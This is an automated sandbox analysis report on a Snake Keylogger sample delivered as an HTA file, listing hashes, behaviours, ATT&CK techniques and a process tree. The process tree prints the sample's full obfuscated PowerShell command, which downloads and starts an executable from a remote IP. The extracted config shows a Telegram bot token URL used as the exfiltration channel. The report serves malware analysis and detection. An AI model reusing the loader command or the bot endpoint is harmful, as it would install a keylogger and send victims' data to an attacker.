snakekeylogger | 95e002035116146de7fdf04b59845552552c7527b8bb3893abaf3a51d5061305

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
16-10-2024 15:25

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

na.hta
Size

129KB
MD5

03140c0995d8db21fe4fb2f030322615
SHA1

0199286b876a0d3e896b1830ff024555374e51f3
SHA256

95e002035116146de7fdf04b59845552552c7527b8bb3893abaf3a51d5061305
SHA512

9f2682368cd24bf210edf0ec6d286d016a89b5fba4649fdd76d18bdc7f1cbc4dfb079079d074756dbfcf6377c1e34d6b59664df6ca7a8e6770af2fce704e09f9
SSDEEP

96:Eam780jLy6w80jLyrdUwSdffYJMK0jLyqx0jLyt0Aj5OtG80jLy987T:Ea280f7w80fCUpdWMK0fd0fX5A80fGCT

Score

10^/10

snakekeylogger collection defense_evasion discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7913958792:AAFOhfKo5L7M50XG6odxxQQwJAeD3zGEuJU/sendMessage?chat_id=7004340450

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 3 IoCs

resource	yara_rule
behavioral1/memory/564-34-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/564-36-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/564-35-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2460	PowERShELL.Exe

Downloads MZ/PE file

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
2460	PowERShELL.Exe
2108	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1404	taskhostw.exe

Loads dropped DLL 1 IoCs

pid	Process
2460	PowERShELL.Exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.dyndns.org

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x000a000000016e73-27.dat	autoit_exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1404 set thread context of 564	1404	taskhostw.exe	37

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PowERShELL.Exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskhostw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2460	PowERShELL.Exe
2108	powershell.exe
2460	PowERShELL.Exe
2460	PowERShELL.Exe
564	RegSvcs.exe
564	RegSvcs.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1404	taskhostw.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2460	PowERShELL.Exe
Token: SeDebugPrivilege	2108	powershell.exe
Token: SeDebugPrivilege	564	RegSvcs.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2440 wrote to memory of 2460	2440	mshta.exe	30
PID 2440 wrote to memory of 2460	2440	mshta.exe	30
PID 2440 wrote to memory of 2460	2440	mshta.exe	30
PID 2440 wrote to memory of 2460	2440	mshta.exe	30
PID 2460 wrote to memory of 2108	2460	PowERShELL.Exe	32
PID 2460 wrote to memory of 2108	2460	PowERShELL.Exe	32
PID 2460 wrote to memory of 2108	2460	PowERShELL.Exe	32
PID 2460 wrote to memory of 2108	2460	PowERShELL.Exe	32
PID 2460 wrote to memory of 2796	2460	PowERShELL.Exe	33
PID 2460 wrote to memory of 2796	2460	PowERShELL.Exe	33
PID 2460 wrote to memory of 2796	2460	PowERShELL.Exe	33
PID 2460 wrote to memory of 2796	2460	PowERShELL.Exe	33
PID 2796 wrote to memory of 2876	2796	csc.exe	34
PID 2796 wrote to memory of 2876	2796	csc.exe	34
PID 2796 wrote to memory of 2876	2796	csc.exe	34
PID 2796 wrote to memory of 2876	2796	csc.exe	34
PID 2460 wrote to memory of 1404	2460	PowERShELL.Exe	36
PID 2460 wrote to memory of 1404	2460	PowERShELL.Exe	36
PID 2460 wrote to memory of 1404	2460	PowERShELL.Exe	36
PID 2460 wrote to memory of 1404	2460	PowERShELL.Exe	36
PID 1404 wrote to memory of 564	1404	taskhostw.exe	37
PID 1404 wrote to memory of 564	1404	taskhostw.exe	37
PID 1404 wrote to memory of 564	1404	taskhostw.exe	37
PID 1404 wrote to memory of 564	1404	taskhostw.exe	37
PID 1404 wrote to memory of 564	1404	taskhostw.exe	37
PID 1404 wrote to memory of 564	1404	taskhostw.exe	37
PID 1404 wrote to memory of 564	1404	taskhostw.exe	37
PID 1404 wrote to memory of 564	1404	taskhostw.exe	37

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\na.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2440
- C:\Windows\SysWOW64\WInDoWspOwERsHell\v1.0\PowERShELL.Exe
  "C:\Windows\SYStEM32\WInDoWspOwERsHell\v1.0\PowERShELL.Exe" "POwersHelL -ex byPaSS -Nop -w 1 -c deViceCrEdeNtIAldepLoyMENt.exE ; Iex($(iEx('[sYStEM.TEXt.enCodInG]'+[cHaR]58+[chAr]0X3a+'UTf8.gETSTRInG([SYSTEm.COnVert]'+[ChaR]58+[ChAR]0X3A+'FroMbASE64strINg('+[ChAR]0X22+'JG44ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZGQtVHlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlckRFZklOSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uZGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1tVkYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrd1pEdUhyU0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB6cUxySWYsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWUN1bGdiLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWmlmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkp4dkVqQU9mV0RaIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzcGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ2V1USAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG44OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xMjMuMjUvMjgwL3Rhc2tob3N0dy5leGUiLCIkRW52OkFQUERBVEFcdGFza2hvc3R3LmV4ZSIsMCwwKTtzVGFSdC1zTGVlUCgzKTtTVGFydCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFbnY6QVBQREFUQVx0YXNraG9zdHcuZXhlIg=='+[chAR]0x22+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2460
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex byPaSS -Nop -w 1 -c deViceCrEdeNtIAldepLoyMENt.exE
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2108
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xnire8om.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2796
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9D2A.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC9D29.tmp"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2876
- - C:\Users\Admin\AppData\Roaming\taskhostw.exe
    "C:\Users\Admin\AppData\Roaming\taskhostw.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:1404
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Users\Admin\AppData\Roaming\taskhostw.exe"
      4⤵
      Accesses Microsoft Outlook profiles
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:564

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RES9D2A.tmp

Filesize
1KB

MD5
8e0777c9fe50c580c43671eca7e6243f

SHA1
b07f3cfd8cc28b290e38f431b92ba37b361948c7

SHA256
781f4eb15fa8609ec5fe5fd81f7f09cc9cb778a65c42ba975110e4e7b6106889

SHA512
5d16035e675a7aa111b10ac0e3117e3bff9c3e0e66c39018f0152be91f7eda18687d35c3977de39cfb794dbaf0ec9668920819c43038a095afda9d017eb148ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\xnire8om.dll

Filesize
3KB

MD5
304e0ac4d6dd714d4b3dc538feabcce8

SHA1
a4ff30c81d2f1d1583d1b3db55bff48c824dfdf5

SHA256
e21cd44feacb4a4afab2c633a0ff1f7ba38d08b76051b52fbb4bff63f70687cc

SHA512
69c86e210d74867b08dda9a415c30072f64685bd11b9893671475a444f09c8af8543aabf98da177b389a3097e3a267b71f2cf0bae63b5e757a9c51ceeda4937e

Download Submit
C:\Users\Admin\AppData\Local\Temp\xnire8om.pdb

Filesize
7KB

MD5
40c45911fadaf703895ac3f33f72a291

SHA1
a2edbefec16ab122af2add84e701c5d43e99bd8f

SHA256
d4cf637901007cb9bd117d49a3fea1d1b348f4f46f36b08692ace49d54f78704

SHA512
c371e889298760d262eacf7ff885e1d4033561d37590f4a833b1f2320dfe940c8c39715c9f4a25df62300e6123044defba4237c654c03d00a71e58f3ba473338

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
3eb4a975c3e39d548115b1b7fe5b4676

SHA1
d19b253fb6728e211efc9e7b66fd169d05e449a4

SHA256
efc87bbb67cc58082356f45ca820b7cb2010aab6c208d4b00150579bdb478de7

SHA512
187b659290f3baba1f2326421306bb919b694f0423de1e2fc669ddf7aeed6d78a0f71819e819f55fbb39db0835cb4af97dc05e568ba04fc97656306012e573fb

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC9D29.tmp

Filesize
652B

MD5
199bbf661f94ed108f24aac10630f6b1

SHA1
640d0b8d3e744c3811bed2dcb855e0964a5c924f

SHA256
3644a9b9b7f91f90b68f9fdb95b0ad3e866a40a4d4ed10887884ac658aea0629

SHA512
a915805d50aa5738068c9030c202f1a3a82ee8e3387f2c854b967046bdf2a5fba0b25bc43b9209b6806b962b70ce2d0a6c68e882ced80073180e148148acd24b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\xnire8om.0.cs

Filesize
474B

MD5
0e03065f874d09489b23d564815660e8

SHA1
005cc140f8d9ad68a7863aee4da445e466c98379

SHA256
9600c5f95e6b296008011163196ad864c684b50e172ea35f0ca140ce577c75f1

SHA512
a55b8c7d5656c0c854da908ecf6bcc64f9520b61ff21154aa548e01dbd69ffd762806c09b3ec331d94b23b6145b48e2e649ead07dab8d73a17bc2a6981800d10

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\xnire8om.cmdline

Filesize
309B

MD5
b5fe1ad281e6dd3f6105d591bd90fcf1

SHA1
40c953f41ce65a32c61315bba951731a20073089

SHA256
5efe02b0cb1fa1563e85abe0d8bbe785520884881f7207aaff42d823d5180c39

SHA512
b57fa0d5dc7e9522ec7a3c366776785bfe7caa09a05f0e99dbeb36b5397646f22c71f6da8c33e9966dd6659534e93b51f381084274a96dbae9fcb8afcc58c5d3

Download Submit
\Users\Admin\AppData\Roaming\taskhostw.exe

Filesize
935KB

MD5
daaa8ac3995fb610eda2e52a639d191f

SHA1
2a26a631b79878c461248d5c03a33fb312aedb05

SHA256
e82aa9f8f95f53d306db35e28e6fdd4dd16eba7d7437971f929d3cf5470267b7

SHA512
808c18d514439aead5759bd3d1bfbfb1b31cfb6c03a147db8525aa8f7dec30fb4b73a12b4e4310f97b9917f6513594d917184434f49ff9a5ee1870c46ae75157

Download Submit
memory/564-34-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/564-36-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/564-35-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download